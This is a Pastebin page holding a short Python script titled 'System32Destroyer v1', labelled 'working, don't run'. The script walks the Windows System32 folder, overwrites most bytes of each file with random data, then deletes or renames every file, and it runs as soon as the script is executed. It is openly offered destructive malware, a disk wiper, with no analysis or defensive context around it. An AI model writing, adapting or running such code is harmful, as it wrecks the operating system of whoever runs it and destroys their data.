Advertisement
YaBoiSwayZ

Project hellfire: System32Destroyer v1 (working, don’t run)

Aug 7th, 2023
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.04 KB | Source Code | 0 0
  1. import os
  2. import random
  3. import shutil
  4.  
  5. def execute_cyber_hellfire():
  6.     target_directory = "C:\\Windows\\System32"
  7.  
  8.     files = [os.path.join(root, filename)
  9.              for root, _, filenames in os.walk(target_directory)
  10.              for filename in filenames]
  11.  
  12.     for file in files:
  13.         corrupt_file(file)
  14.         delete_file(file)
  15.  
  16. def corrupt_file(file):
  17.     with open(file, "rb+") as f:
  18.         contents = f.read()
  19.         modified_contents = bytearray()
  20.  
  21.         for byte in contents:
  22.             if random.random() < 0.7:
  23.                 modified_byte = random.randint(0, 255)
  24.                 modified_contents.append(modified_byte)
  25.             else:
  26.                 modified_contents.append(byte)
  27.  
  28.         f.seek(0)
  29.         f.write(modified_contents)
  30.         f.truncate()
  31.  
  32. def delete_file(file):
  33.     if random.random() < 0.5:
  34.         os.remove(file)
  35.     else:
  36.         destination = os.path.join(os.path.dirname(file), f"evil_{os.path.basename(file)}")
  37.         shutil.move(file, destination)
  38.  
  39. execute_cyber_hellfire()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement